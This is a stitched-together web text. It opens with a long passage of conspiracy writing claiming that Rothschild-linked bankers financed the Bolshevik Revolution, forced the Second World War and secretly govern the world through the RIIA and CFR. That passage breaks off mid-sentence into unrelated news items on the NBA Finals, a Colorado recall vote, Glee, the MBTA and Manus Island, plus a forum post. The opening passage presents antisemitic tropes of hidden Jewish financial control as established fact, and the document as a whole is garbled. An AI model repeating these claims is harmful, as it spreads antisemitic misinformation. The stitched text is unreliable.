On the same day, the New York Times headlined, "Splendor Reigns Again; Jewels Ablaze". The occasion was a gala evening at the Metropolitan Opera, with Caruso and Homer signing Samson and Delilah. Attending were the Otto Kahns with the French Consul-General; the George F. Bakers and his sister Mrs. Goadby Loew; Cornelius Vanderbilt and his daughters; the Whitneys, the J.P. Morgans, and the E.T. Stotesburys; the Fricks; Mrs. Bernard Baruch -- her husband was in Europe on important business; Mrs. Adolf Ladenburg. These celebrants were also the principal investors in American International Corporation, which was financing the Bolshevik Revolution in Russia.
[Also see: "Wall St. and the Bolshevik Revolution" --ed]
The American Commission to Negotiate Peace predictably included Walter Lippmann, the Dulles brothers, the Warburg brothers (Paul from the U.S., Max from Germany), L.L. Strauss, Thomas W. Lamont, as well as Col. House, Wilson and Wilson's Secretary of State, Robert Lansing, the Dulles' uncle.
Their genial host was Baron Edmond [James] de Rothschild. Representing France at the Peace Conference was Finance Minister Klotz, who, according to Nowell-Baker, had for years been usefully employed by the Rothschilds to distribute bribes to the press. The Reparations Commission was established Jan. 25, 1919, with Bernard Baruch from the U.S., Klotz from France, and Lord Cunliffe, Governor of the Bank of England, representing England. Carter Field notes, "Nearly every afternoon Baruch had a pleasant session at the Crillon with three or four of his old cronies from the War Industries Board."
Wilson returned to the United States July 8, 1919, laden with one million dollars worth of jewelry, gifts from appreciative Europeans as a reward for his promise to get the U.S. into the League of Nations. Not a single member of Congress had been with him at the Paris Peace Conference. His associates were the Fabians of America, Dr. James T. Shotwell, Eugene Delano, and Jacob Schiff. Herbert Hoover immediately joined Col. House as the most vociferous advocate of our joining the League of Nations.
Baruch later testified before the Graham Committee:
BARUCH: I was economic advisor with the peace commission. GRAHAM: Did you frequently advise the President while there? BARUCH: Whenever he asked my advice I gave it. I had something to do with the reparations clauses. I was the American Commissioner in charge of what they called the Economic Section. I was a member of the Supreme Economic Council in charge of raw materials. GRAHAM: Did you sit in the council with the gentlemen who were negotiating the treaty? BARUCH: Yes, sir, some of the time. GRAHAM: All except the meetings that were participated in by the Big Five. BARUCH: And frequently those also.
The Reparations Commission ordered the Germans to issue four issues of bonds, all to be delivered to the Reparations Commission as follows :
20 billion gold marks, 5 billion paper marks by May 1, 1921, for the army of occupation. War cost of Belgium -- 4 billion gold marks due May 1, 1926. 40 billion gold marks at 2 1/2% interest from 1921-26, to be retired in 1951. 30-year provisional fund of general reparations. -- Treaty of Versailles, Financial Clauses 248-63).
The bankers immediately began to treat these gigantic sums as sources of capital, to be monetarised by loans and other negotiable instruments. Lloyd George told the N.Y. Journal American, June 24, 1924:
"The international bankers dictated the Dawes reparations settlement. The Protocol which was signed between the Allies and Associated Powers and Germany is the triumph of the international financier. Agreement would never have been reached without the brusque and brutal intervention of the international bankers. They swept statesmen, politicians and journalists to one side, and issued their orders with the imperiousness of absolute monarchs, who knew that there was no appeal from their ruthless decrees. The settlement is the joint ukase of King Dollar and King Sterling. Dawes report was theirs. They inspired and fashioned it. The Dawes Report was fashioned by the Money Kings. The orders of German financiers to their political representatives were just as peremptory as those of allied bankers to their political representatives."
The Post-War World Order: RIIA and CFR
Although the reparations clauses achieved the desired result of forcing the Germans to fight a Second World War, the primary result was the formation of a "front" world government, the League of Nations, while in the background the conspirators established their real governing body, the World Order, through the Royal Institute of International Affairs (RIIA), and its American subsidiary, the Council On Foreign Relations (CFR).
In 1895, Cecil Rhodes, South African agent of the Rothschilds, established a secret society whose avowed purposes was as follows : "In the end Great Britain is to establish a power so overwhelming that wars must cease and the Millennium be realized." To achieve this goal, he left $150 million to the Rhodes Trust. The Rothschild already had a group with similar aims, the Round Table, set up by Lord Alfred Milner, into which J.P. Morgan had been recruited in 1899.
The Council On Foreign Relations Handbook of 1936 states:
"On May 30, 1919, several leading members of the delegations to the Paris Peace Conference met at the Hotel Majestic in Paris to discuss setting up an international group which would advise their respective governments on international affairs. The U.S. was represented by Gen. Tasker H. Bliss (Chief of Staff, U.S. Army), Col. Edward M. House, Whitney H. Shepardson, Dr. James T. Shotwell, and Prof. Archibald Coolidge. Great Britain was unofficially represented by Lord Robert Cecil, Lionel Curtis, Lord Eustace Percy, and Harold Temperley. It was decided at this meeting to call the proposed organization the Institute of International Affairs. At a meeting on June 5, 1919, the planners decided it would be best to have separate organizations cooperating with each other. Consequently, they organized the Council On Foreign Relations, with headquarters in New York, and a sister organization, the Royal Institute of International Affairs, in London, also known as the Chatham House Study Group, to advise the British Government. A subsidiary organization, the Institute of Pacific Relations, was set up to deal exclusively with Far Eastern Affairs. Other organizations were set up in Paris and Hamburg, the Hamburg branch being called the Institut fur Auswartige Politik, and the Paris branch being known as Centre d'Etudes de Politicque Etrangere, at 13 Rue de Four, Paris VI."
The Hamburg branch was established, of course, because of the Warburg family bank there.
Having dominated the Paris Peace Conference, Baron Edmond de Rothschild saw the establishment of the World Order through these groups as the crowning achievement of his life. The "founders" of the RIIA were, one and all, Rothschild men; honorary chairman of the CFR was Elihu Root, lawyer for Morgan and Kuhn, Loeb Co.; Alexander Hemphill, a Morgan banker; and Otto Kahn of Kuhn, Loeb Co.
The founders of the RIIA were Rothschild's principal South African agents:
Sir Otto Beit, trustee of Rhodes Estate and director of British South Africa Co.
Percy Alport Molteno, son of the first Premier of Cape Colony
Sir Abe Bailey, owner of the Transvaal Mines, who worked closely with Sir Alfred Milner in starting the Boer War
John W. Wheeler-Bennett, who became Gen. Eisenhower's political adviser at SHAEF London 1944-45
Sir Julien Cahn
Lionel Curtis, colonial secretary of the Transvaal, who gave his address as the Round Table, 175 Picadilly Rd., London. He was later appointed Beit lecturer on the colonial history of South Africa.
Other founders of RIIA included four members of the Astor family: Viscount Astor, Hon. F.D.L. Astor, M.L. Astor, and H.J.J. Astor, the latter being chairman of The Times and director of Hambros Bank.
The first President of RIIA was Lt. Col. R.W. Leonard, president of the Coniagas Mines. The Lord Patron was Her Majesty the Queen. All Prime Ministers and Viceroys of the Colonies since 1923 have been Honorary Presidents of RIIA. Stephen King Hall, in his definitive work, "Chatham House," says: "The Prince of Wales graciously accepted the office of Visitor. This appointment secured that the Institute could never be perverted to party or propaganda purposes." [Right! --ed]
The 1934 list of members of RIIA included Sir Austin Chamberlain, Prime Minister, Chancellor of the Exchequer, Lord Privy Seal, and Secretary of State for Foreign Affairs; Harold MacMillan, who married the daughter of the Duke of Devonshire and later became Prime Minister; and Lord Eustace Percy, Duke of Northumberland.
The 1942 membership list includes:
Sir Roderick Jones, head of Reuters
G.M. Gatheren-Hardy
Sir Andrew McFadyen, chairman North British Borneo Co. and United Rubber Estates -- he served with the British Treasury 1910-1917, represented the Treasury at the Paris Peace Conference 1919-20, was Gen. Secretary of the Reparations Commission, 1922-25, Commissioner of Controlled Revenues Berlin 1924-30, later with S.G. Warburg Co.
Col. Vickers
Lord Brand, managing director Lazard Bros., who married Lady Astor's sister, Phyllis Langhorne, was dep. chairman British Mission in Washington 1917-18, financial adviser to Lord Robert Cecil, chmn Supreme Economic Council at the Paris Peace Conference
George Gibson, dir. Bank of England
John Hambro of Hambros Bank
Lord Derby (Edward Villiers), Lord of Treasury, Secretary of State for War, 1916-1918, who had a 69,000 acre estate in Lancashire
Lord Cromer (Baring).
During its early years, RIIA was principally funded by the Rothschilds through donations funnelled through Sir Abe Bailey and Sir Alfred Beit, with about 100,000 per year; since then, it has been funded with many millions of dollars by the Rockefeller Foundation and the Carnegie Corporation.
In 1936 the RIIA $400,000 budget was also funded by the following corporate subscribers: N.M.Rothschild & Sons; British South Africa Co.; Bank of England; Reuters News Agency; Prudential Assurance Co.; Sun Insurance Office Ltd.; and Vickers-Armstrong Ltd.; all of which were known as Rothschild enterprises. Other subscribers were J. Henry Schroder Co., Lazard Freres, Morgan Grenfell, Erlangers Ltd., and E.D. Sassoon Co.
A number of popular books now in circulation claim that the Council on Foreign Relations is the secret government of the United States. Nothing could be more incorrect. The members of the Council on Foreign Relations have never originated a single item of policy for the U.S. Government. They merely transmit orders to our government officials from the RIIA and the House of Rothschild in London. It is true that the CFR comprises a ruling elite in the United States, but they are mere colonial governors absolutely responsible to their overseers in the World Order.
However, every prominent American mentioned in the present book is a member of the CFR, and therefore it is not necessary to note it each time a name is mentioned. Not only do they transmit orders to the White House, the Cabinet, the Federal Reserve Board of Governors, and other government institutions, but they also maintain absolute control of the Foundations, whose duty it is to formulate policy or organize it in acceptable form to be transmitted to the government.
Shoup's "Imperial Brain Trust", 1969, notes that the CFR includes: 22 trustees of Brookings Institution, 29 at Rand, 14 at Hudson, 33 at Middle East Institute, 14 of 19 trustees of the Rockefeller Foundation, 10 of 17 at Carnegie, 7 of 16 at Ford Foundation, 6 of 11 at Rockefeller Brothers Fund. This proves that the CFR runs these major foundations.
In the academic world, CFR members number 58 on the faculty at Princeton, 69 at the University of Chicago, and 30 at Harvard. Of the banks which are the principal owners of Federal Reserve Bank stock, directors of Chase include 7 CFR members, 8 at J.P. Morgan, 7 at First National City (now Citibank), 6 at Chemical Bank, and 6 at Brown Bros. Harriman.
The 1968 list of CFR members included John J. McCloy, chairman of the board; Frank Altschul, secretary and vice-pres.; David Rockefeller vice-pres.; and directors Robert V. Roosa, Douglas Dillon, and Allen Dulles.
McCloy also served as chairman [of the] Ford Foundation 1953-65, director of the Rockefeller Foundation, and personal lawyer to the Rockefeller family interests. His career is typical of a leading official of the World Order. While a student at Harvard, he became a protege of Felix Frankfurter. He joined the firm of Cravath, Swain and Moore, lawyers for Kuhn, Loeb Co. where he remained from 1925-40. In 1940 Frankfurter recommended him to Henry Stimson as Asst. Sec. of War, where he remained from 1941-45. He wrote and issued the infamous War Dept, directive that military officers must disregard political views of servicemen "unless there is a specific finding that the individual involved has a loyalty to the Communist Party which overrides his loyalty to the U.S." Senator McCarthy termed this directive "treasonable".
McCloy succeeded Eugene Meyer as president of the World Bank from 1947-49, was appointed High Commissioner of Germany where he served from 1949-52, was chairman of the board Chase National Bank from 1953-61, and Rockefeller's attorney since then. He is a director of Union Pacific, Westinghouse, ATT, Dreyfus, Squibb, & Mercedes-Benz.
He married Ellen Zinsser, who is not otherwise identified in McCloy's 1947 Current Biography; in the 1961 issue, she is identified as the niece of Hans Zinsser, a bacteriologist. This is odd, because she is also the daughter of John Zinsser, partner of J.P. Morgan Co., and chairman of the board of Sharp & Dohme chemicals. It is an interesting footnote to history that the son-in-law of a J.P. Morgan partner should be appointed U.S. High Commissioner of a vanquished Germany.
The New York Times noted on Aug. 6, 1965, "J.J. McCloy Proposes Foundation Pattern for European Giving". He stated at Salzburg, "I wish that there could be erected in Europe a complex of foundations whose representatives could exchange thoughts with those of American foundations and thus form a sort of informal approach to some of the great problems of the day." "Informal" is the code word of the World Order. It means "issuing from world headquarters". McCloy did not state the obvious, that five men control all of the major U.S. foundations, and that he wished they could have the same system in Europe.
The RIIA has worked closely with the London School of Economics, which was set up as a training school for the World Order bureaucrats. The school was established in 1920 with financial aid from the Rothschilds and Sir Julius Wernher. Sir Ernest Cassel later gave the school 472,000 pounds. Prof. J.H. Morgan wrote in Quarterly Review, Jan. 1939:
"When I once asked Lord Haldane why he persuaded his friend Sir Ernest Cassel, grandfather of Lady Mountbatten, to settle by his will large sums on the London School of Economics, he replied, 'our object is to make this institution a place to raise and train the bureaucracy of the future Socialist State'."
Sir William Beveridge, author of Great Britain's ruinous Cradle to the Grave political program, was director of the London School of Economics from 1920-1937.
The Opium Trade and Other Ventures
The British Empire has prospered on piracy, slavery and the drug traffic. Drakes' Pirates became the Merchants Adventurers Co. (Sebastian Cabot) which later became the Chartered Co. of East India. It was reorganized in 1700. It originally paid the Hong of Canton silver for tea, but discovered they would accept opium instead. This fortuitous arrangement encountered resistance from some Chinese leaders, causing England to prosecute ten Opium Wars against China, from the Opium War of 1840-43 to the Manchurian Conquest of 1931.
In 1715 the British East India Co. opened its first Far East office in Canton. Crown Policy deliberately fostered opium addiction among the natives to facilitate British political control. The British Empire was then threatened with bankruptcy if it lost the American colonies. In order to defeat the rebels, the profits of the opium trade with China were sent to the Elector of Hesse via Mayer Amschel Rothschild to hire 16,800 Hessian troops. Thus the drug traffic and the Rothschilds played a pivotal role in American history, although it has been ignored or deleted from the history books.
David Ricardo, father of the quantity theory of money and the "rent", or loot theory, was on the Court of Proprietors of the East India Co. He had John Stuart Mill appointed as Chief Examiner. The colonial minister of England during the Opium Wars was Edward Bulwer Lytton, who wrote the Treaty of Nanking in 1842, bringing England 21 million in silver and control over the free port of Hong Kong. Britain then allied with the Hong Society, the Triads and Assassins, to rule the Chinese to the present time.
Bulwer Lytton's son was Viceroy of India during the 1880s at the height of the opium trade, and sponsored Rudyard Kipling's writings about the British Raj in India. The profiteers from the drug trade included William, Earl of Shelburne, who organized Britain's first Intelligence Service, whose agents were drawn from Britain's leading families. Its chairman was George Baring, and it employed Adam Smith, Jeremy Bentham, and Thomas Malthus. The Geneva headquarters was run by the Mallet Prevost family, whose descendants include Allen Dulles of the CIA.
Basil Lubbock's work, "The Opium Clippers", 1933, lists the principal owners of British vessels engaged in the opium trade, with color illustrations of their flags. Most of them were ex-slavers. No. 1 was Hon. East India Co. (known to the Chinese as Hon John Co.); 2. Jardine Matheson; 3. Dent & Co.; 4. Pybus Bros.; 5. Russel & Co.; 6. Cama Bros.; 7. Duchess of Atholl; 8. Earl of Balcarras; 9. George IV; 10. Prince Regent; 11. Marquis of Camden; 12. Lady Melville.
On Feb. 1, 1927, the New York Times noted the passing of Sir Robert Jardine, "the son and heir of the late Sir Robert Jardine, and succeeded his father as the head of Jardine Mathieson & Co. Hong Kong which for a long time held almost a monopoly in the importation of Indian opium into China." Sir Robert had inherited $20 million and 20,000 acres in Scotland. Dr. William Jardine had settled in Canton in 1819.
[Note that the Jardine Matheson corporate logo is a stylized opium poppy flower. Follow link to their website. --ed]
The present Duke of Atholl owns 202,000 acres at Blair Castle, and is the only person in England authorized by the Crown to maintain a private army. Lady Melville's ancestor, George, the first Earl, welcomed William of Orange to the throne in 1688 and was appointed Lord Privy Seal.
In Paris, Banque Rothschild directors include:
Elie de Rothschild, director of New Court Securities, Banque Leumi de Israel, [and] Five Arrows Fund N.V. Curacao
Alain de Rothschild, Five Arrows Fund Guracao, Banque Lambert de Bruxelles
Guy de Rothschild, Rio Tinto Zinc, New Court Securities, NY.
Sir James Goldsmith
Hubert Faure, Ambassador to Colombia, pres. Schneider Madrid and ten Otis companies
Bernard de Villemejane, pres. Imetal, director Copperweld.
Sir James Goldsmith is also chairman [of] Generale Occidentale which owns Grand Union and Colonial food stores in the U.S., Cavenham USA and Banque Occidentale -- its directors include David de Rothschild (son of Guy), who is also director of Compagnie du Nord and Societe de Nickel.
Through the Belgian branch of the Rothschild family, we can trace the influence of the Rothschilds in Africa during the past century. Baron Leon Lambert financed King Leopold's Belgian empire; the Congo Syndicate included Baron Empain (l'compagnie d'Orient) F. Philippson & Co., and Banque Outremer. This syndicate was allied with Banque de Paris, the Anglo-Italian Group, and the Peking Syndicate.
The Congo empire came into being in 1885 after Leopold had financed Stanley's explorations. It included an area the size of Poland, and produced fabulous returns from Congo rubber, ivory and slaves. Later the Union Miniere acquired vast copper mines, the Compagnie de Katanga. One of their most ruthless agents was Emile Francqui, who later became [Herbert] Hoover's partner in China and in the Belgian Relief Commission; his name survives at Congo's Port Francqui.
The Congo interests are now controlled by the Lamberes through Societe Generale de Banque, which merged the Societe Generale de Belgique, the oldest bank in Brussels, founded in 1822, and Banque d'Anver, founded 1827; its secretary is Baron Fauconval, a director of the Rockefeller Foundation. Societe Generale acquired Union Miniere in Dec. 1981; in 1972 it had acquired Compagnie Outremer, formerly Banque Outremer, and in Dec. 1964, had acquired 25% of SOFINA, Societe Financier de Transport & Enterprises Industrielles, the largest holding company in Europe.
These firms are controlled by the Rothschild bank, Banque Bruxelles Lambert, founded in 1840 by Baron Lambert. The present Baron is director of Soceite Generale de Banque, and president of Compagnie Generale d'Enterprises Electricque which owns fifty power companies. Banque Lambert de Bruxelles is also the Lambert [part] of the Wall Street firm of Drexel Burnham Lambert, owning 19% of it.
Gerard Eskenazi is director of Compagnie Generale; he is also managing director of Electrorail S.A., a holding company for Schneider S.A., European Trading and African Corp., and Canadian Investment Trust. The president of Electrorail is Baron Empain. Eskenazi is also director of Compagnie International des Wagons Lits (Thomas Cook travel agency). Baron Edouard Empain and his son Baron Francois Empain are also directors of Compagnie Generale.
Another Belgian holding company, Delhaizes Frere et Cie Leon, established 1867, now owns Food Giant and Food Town Stores in the U.S., renamed Food Lion.
Through Banque Bruxelles and its interlocking companies, the Rothschilds effectively control Belgium. They also interlock with the Thurn und Taxis interests in Germany. Prince Johannes Erbprinz Thurn und Taxis is said to be the richest man in Europe, controlling Bayerische Vereinsbank, fourth largest bank in Germany, which has four subsidiaries in Frankfurt, including Bankhaus Gebruder Bethmann. Bethmann-Hollweg of this family had been Chancellor under Kaiser Wilhelm, and had set off World War I. He was a cousin of the Rothschilds. Bayerische Vereinsbank also owns controlling interest in Banque de Paris et dea Payes, and Banque de l'Europeene Paris. Thurn und Taxis is a direct descendant of William of Orange, who chartered the Bank of England; his mother, the Princess of Braganza of the former ruling house of Portugal, has three direct family connections with the present House of Windsor; Prince Thurn und Taxis also has four connections with the House of Windsor.
The Thurn und Taxis family has enjoyed eight hundred years of prominence in Europe. Originally Tasso of Bergamo, they later emigrated to Brussels. They supervised the postal service and intelligence of the Most Serene Republic of Venice, and later fulfilled the same post in the Hapsburg Empire. The present Prince has huge estates in Brazil; he is the financial adviser of the Rolling Stones; and his palace of St. Emmerans is larger than Buckingham Palace; it costs |
VnDoyK — The Cauldron (@TheCauldron) June 17, 2015
Curry, the winner of the 2015 regular season MVP, did not actually receive a single vote for finals MVP. But that didn't seem to matter much to him after the game.
"I'm in the family business and this is for the family," said Curry, noting his father, Dell, played 16 years in the NBA, but never won a championship. Of course, there was a celebratory Curry family selfie too.
The Curry family is ready to celebrate... pic.twitter.com/IPbTMCISGc — SportsCenter (@SportsCenter) June 17, 2015
The championship caps a remarkable season for the Warriors, in which the team surpassed all reasonable preseason expectations. At the end of the regular season, the Warriors had the best record in the league, the best defense in the league and the second best offense in the league. Stephen Curry, who was one of five members of the All-NBA First Team, went against every other member of that team during the playoffs: the New Orleans Pelicans' Anthony Davis, the Memphis Grizzlies' Marc Gasol, the Houston Rockets' James Harden and finally, LeBron James.
The Warriors are now just one of four teams in the league to win four championships.
Andre Iguodala discusses the Warriors' season after winning NBA Finals MVP.Colorado residents go to the polls Tuesday to vote on whether to recall two state senators who supported stricter gun laws in the aftermath of two 2012 mass shootings.
The recall vote effort appears to be the strongest backlash to such state votes -- considering Democratic-leaning Connecticut, Maryland and New York passed similar legislation without resulting in a recall effort getting on a ballot.
Gun rights advocates launched the recall initiative against Colorado Senate President John Morse and Sen. Angela Giron because they voted for stricter gun laws, including limiting the size of ammunition magazines and requiring universal background checks.
Early voting in Colorado’s first legislative recall elections has been strong so far.
Some voting centers opened early Friday in Morse’s El Paso County district after lines formed on Thursday -- the first day of early voting there.
A spokesman for the clerk’s office said turnout was similar to that on a busy day during a presidential election.
Early voting has been under way in Giron’s Pueblo County district for a week with more than 7,000 people voting so far. More voting centers were added Thursday.
The states voted after shooter James Holmes, whose lawyer say he is mentally ill, killed 12 people and wounded 70 inside an Aurora, Colo., movie theater in July 2012 and after Adam Lanza six months later fatally shot 26 children and six adults inside the Sandy Hook elementary school, in Newtown, Conn., before killing himself.
President Obama also pushed for tighter federal regulations on guns and ammunition after the school shootings, but the effort failed to get support in Congress.
The Colorado recall effort was complicated this summer when a county clerk vowed to appeal a ruling giving third-party candidates more time to get on the Sept. 10 ballots. And the senators tried to have the recall blocked because of missing wording on the petitions.
"I have already been elected twice, I am excited by the prospect of being elected a third time," Morse said after his challenge failed.
The legislation they supported limits most ammunition magazines to 15 rounds and an expansion of background checks to include online and private firearm sales. Most Colorado sheriffs are also suing to overturn the laws, which took effect July 1.
Proponents of the recall and those who support the sheriffs' lawsuit said the new laws violate the Second Amendment.
The Associated Press contributed to this report.Is there a more unforgiving sport than golf? A more isolating, soul sucking, stare at the devil in the face experience than trying to hit a ball out of the sand only to hit the ball one foot forward, even deeper into the trap? If it exists I sure haven’t found it. Yet somehow, disc golf, a sport that shares the same name, rules, and terminology, has none of the same estranging experiences and steep learning curve that make golf so exclusive and bittersweet. Disc golf is a sport that truly anybody can pick up and play, and on their very first outing have a really fun time. A sport that, like a good board game, doesn’t have a correlation between skill and fun factor. Today’s guest, Paul Ulibarri, fell in love with the simple yet sophisticated sport and three months after picking it up took home 4th place in the amateur world championships. Paul has since turned pro and now makes a living as a professional touring disc golf player. Yes, Paul is a prodigy, and you probably won’t have the same life changing experience with the sport that he did, but he’ll explain why just about everyone could and should pick disc golf and give it a try.The popular Fox comedy “Glee” is set to air an episode Tuesday featuring two couples – the heterosexual Finn and Rachel and the homosexual Kurt and Blaine – losing their virginity. And even before it’s even hit the airwaves, the episode has sparked controversy.
EW’s PopWatch describes the episode, titled “The First Time,” as “incredibly moving” and says the sex scenes are “handled very delicately.” But television watchdog group the Parents Television Council is outraged by the controversial storyline and what it says is a “celebration” of teen sex.
“The fact that ‘Glee’ intends to not only broadcast, but celebrate children having sex is reprehensible. The gender of the high school characters involved is irrelevant. Teen sex is now more prevalent on TV than adult sex and ‘Glee’ is only playing into that trend,” PTC President Tim Winter told FOX411’s Pop Tarts column in a statement. “Research proves that television is a teen sexual super peer that can, and likely will, influence a teen’s decision to become sexually active. Fox knows the show inherently attracts kids; celebrating teen sex constitutes gross recklessness.”
HOT SHOTS: Lea Michelle
New York-based public relations and media expert Adam Weiss of Weiss PR says the episode is an example of the envelope being pushed too far on teen-marketed TV.
“Whether straight or gay, such sexually charged scenes have no place in prime time, especially in shows watched by teens and children,” he said. “I think the show would have the same success without resorting to such raw sexuality.”
Liz Perle, editor-in-chief of Common Sense Media, counters that both teen sex and homosexuality are issues very understood by young people today.
“Loss of virginity has been a staple topic on teen-targeted television for years. Remember Brenda and Dylan on Beverly Hills 90210 in the ‘90s? By the time kids are old enough to watch ‘Glee,’ they probably know the facts of life. But that discussion is pretty different from the very specific ‘losing your virginity’ talk," she said. "Secondly, homosexuality is a part of life in our kids’ world — no matter what your family’s beliefs are. So when a popular show with lovable characters shows two dedicated couples deciding to consummate a sexual relationship, it's going to raise issues with straight and gay people and families who approach both premarital sex and homosexuality from different points of view.”
Instead of turning off the television, Perle urges parents to use examples like the forthcoming “Glee” episode as vehicles to prompt further discussion on the issue.
“The media can force these tough conversations on you before you’re ready. But in a world of bullying and stereotyping, you also don’t want the media to be making the call for you on how your kids should treat one another,” she continued. “The goal is to use media for good, and the bright side is that it can be a lot easier to have conversations outside your comfort zone when you're discussing fictional characters or situations. It’s vitally important that parents insert their own voices and values into these conversations alongside those kids hear in the media, so kids can learn from you, too.”
Los Angeles-based psychologist Dr. Nancy Irwin added that it is critical that the episode underscores consensual and safe sex, and that both parties are prepared psychologically as well as physically for taking the relationship to this next level. Irwin also said that it is an unfortunate reality that the gay relationship will most likely bring about more outrage in the community than the heterosexual one.
“Unfortunately, there is still considerable disapproval of gays in our culture, and this episode will probably spark controversy. Yet, in the end it will be a victory,” she said. “The envelope is already being pushed…young gays are having sex! I am confident that ‘Glee’ will handle this issue in an emotionally and psychologically healthy way, so that this young couple is coming of age in a positive, loving manner."
A rep for the show declined to comment, but “Glee” star Chris Colfer, who plays Blaine and apparently gets hot and heavy with on-screen beau Kurt (Darren Criss) in the highly-anticipated episode, isn’t surprised by the criticism.
“I absolutely expect to hear from (watchdog groups). It’s funny, I always go into this instant panic state whenever they tell me about upcoming episodes, because we always do so many delicate situations on the show,” Colfer told EW. “But then I get the script and we shoot it and it’s always handled so well that I never really had any reason to worry about it.”Notes
Sticker: "Limited edition red vinyl"
Includes download code. Includes a printed inner sleeve.
OLE-1128-8 is on the barcode sticker.
OLE-1128-1 is everywhere else on the release.
©℗ 2017 Headz under exclusive license to Matador Records 134 Grand Street New York NY 10013 17-19 Alma Road London SW18 1AA
All songs by Britt Daniel © 2017 Precious Fluids except: "Hot Thoughts" and "Shotgun" by Britt Daniel and Sean Dineen © Precious Fluids / Ranchito Granada, "First Caress" by Alex Fischel and Britt Daniel © Trash Boy Unlimited / Precious Fluids, "Tear It Down" by Britt Daniel and LP © Precious Fluids / Primary Wave Beats & Tcbinaflashsongs, "Us" by Britt Daniel and Ted Taforo © Precious Fluids / Taforo Music. All selections are BMI.
Recorded at Tarbox (Cassadaga), Public Hi-Fi (Austin), and the Catacomb (LA)
Mastered by Howie Weinberg, assisted by Gentry Studer on October 23, 2016As it tries to wrangle its growing costs, the MBTA has publicly, and repeatedly, honed in on corralling excessive absenteeism and, to a related extent, determining who among the thousands of T employees who?have been cleared to use the Family Medical Leave Act is?actually eligible for it.
The T hired an outside firm, Morgan, Brown & Joy, to audit its policies and practices, identify “loopholes” and “ensure compliance with state and federal law.” In December, the T produced 21 recommendations the firm came up with, many of which the T is putting, or will put, in place.
But the full extent of Morgan, Brown & Joy’s findings has not been released, and the T is intent on that remaining the case. In December, following a Herald request, the MBTA cited attorney-client privilege in refusing to release the full findings.
Following a Herald appeal, the secretary of state’s office last month ruled that the T’s?arguments were insufficient and ordered it released within 10 days.
At 5:03 p.m., on Day 10, the T sent a two-page letter doubling down on its argument that not only shouldn’t the “legal services agreement” be made public, but that it’s also part of “policy development,” meaning it?falls into another potential exemption from the state’s public records law.
The document, the T argues, is so “interwoven with opinions and legal analysis,” it’s impossible to segregate it from?what is not exempt from?public disclosure.
“In short, the document is a memorandum provided by legal counsel and not a ‘consultant,’ at the request of the MBTA for legal advice and based upon confidential client-attorney communications,” MBTA General Counsel John Englander argued in a letter to Secretary of State William Galvin’s office.
But that argument doesn’t sync with what the T has already released publicly. In documents — including the MBTA’s Fiscal Management and Control Board’s first annual report — the T specifically refers to Morgan, Brown & Joy as a “Leave Management Consultant.”
The T also argues that the report was produced in confidence, a point Galvin’s office said wasn’t clear in its initial response. It’s an important point, the?secretary of state noted, because the MBTA has already publicly released a summary of the?recommendations.
The Herald is (again)?appealing.
Reset your clock — forever?
Bay Staters awoke this morning losing an hour of sleep, thanks to daylight saving time pushing clocks ahead.
Tom Emswiler would have it never go back, if he could. The Quincy resident and health advocate, through his local senator, Tom Keenan, is pushing a bill that would create a commission to study moving Massachusetts permanently into Atlantic Standard Time, thus doing away with the biannual clock change.
Emswiler, a 35-year-old Washington, D.C., transplant, said it first occurred to him five years ago, when during his first December in Boston, he was?“horrified” to see the sun set at?4:11 p.m.
“Basically you’re giving millions of people jet lag all at the same time. The public health research is compelling,” he said, noting that the most “thoughtful critique” he’s heard of moving permanently to Atlantic time is come January, the sun wouldn’t rise until as late as 8:14 a.m. But that, of course, means a later sunset. “And more daylight at night could save lives, in regard to pedestrian traffic fatalities.
“This isn’t going to happen tomorrow or next week,”?he said. “The key now is to?build awareness.”
State House reporter Matt Stout can be reached at matthew.stout@bostonherald.com.Manus Island: Rejected asylum seekers told they will be deported; stateless face possible transfer to 'correctional institutions'
Updated
Asylum seekers who have had their claims and appeals rejected on Manus Island have been told to prepare for deportation.
Anyone found to be stateless will remain at the Australian-funded detention centre or be transferred to "any location, including correctional institutions".
In documents obtained by the ABC, Papua New Guinea Immigration told the so-called "double negatives" they have no option of remaining in PNG and will never go to Australia.
The document said "Immigration and Citizenship Services (ICSA) has scheduled an interview with you to plan for your departure from PNG... you must depart from PNG as soon as practicable".
An asylum seeker inside the centre said the notice applies to about 50 people with "double negative" status, with a further 120 men waiting for the result of their appeal.
They have been being offered money if they return voluntarily with the International Organisation for Migration.
"If you are involuntarily removed you will receive no financial assistance," the document said.
Asylum seekers were informed of the imminent deportations last week but it is not clear if actions have yet been taken.
The rejected asylum seekers were told a final interview "in the next 1-2 days" will give them one last chance for fresh information about their case and will consider any reason their return would breach PNG's international legal obligations.
"If ICSA assesses that you cannot be removed to your country of origin, you will remain in custody until you are able to obtain a visa to lawfully enter and reside in PNG or another country," it said.
"You will continue to be accommodated at the Regional Processing Centre. However you may be held in any location, including correctional institutions, while your removal is being effected."
Unclear how asylum seekers will get legal representation
Asylum seekers have been told they have the right to have a PNG-certified lawyer present at the interviews, but it is not clear how the men would arrange such representation.
"If the lawyer charges a fee, this must be paid by you," the PNG Immigration documents said.
There is only one lawyer permanently based on Manus Island.
The developments inside the detention centre have taken place at a time of controversy outside the Australian-run facility.
On Wednesday the Manus Island police commander threatened to arrest management for their role in helping three expatriate security guards leave the island following an alleged rape incident in mid-July.
The following day two charter planes evacuated some staff from the Regional Processing Centre.
Asylum seekers say they are afraid of expatriate guards and also fear possible reprisals from the family of the young woman involved.
In recent days, 10 to 20 unarmed PNG Navy personnel have been brought in to bolster each security shift at the facility, which is located on an isolated navy base on the remote island.
The Rudd government changed immigration policy in July 2013 to send all male post-July 9 boat arrivals to Manus Island, but to date no refugees have been resettled in Papua New Guinea.
Topics: immigration, community-and-society, refugees, papua-new-guinea, australia, pacific
First postedReally nice english, clear for me too that is not an easy result!I agree with the majority of your statements, I believed that after the great Hunt there could be for the update, but now I feel more confident about AprilAs you said is a credibility discussion, Maybe when Kimmundi wrote 'early' was becouse BB accepted to continue the project and they asked just a couple of months to keep confidence with the game, but then when they starter to run out of time, they realized they need more and more time to develop It.This is a good thingh for the game's future meta, and also for the players.I believe no one is interested to leave game just because they'll have wait another month, But EVERY player would do it and be more comprehensive with BB if they give him a DATE, also an heuristic one.And I personnally would know why they are spending so much of game life, which are the problems they are still balancing, and so on.Also, French community has 2 CM, Italian no one since january. You can imagine the correntt state of the Italian communityThe end of the CFL season brings about the end of competition on the field, but that doesn't mean things have to stop in the world of social media.
Lucky for CFL fans, the Toronto Argonauts and the Ottawa Redblacks started a new way to keep the competition alive with #MemeWarMonday.
Each team posted a series of memes ribbing each other with a holiday theme and invited fans to add to the mix.
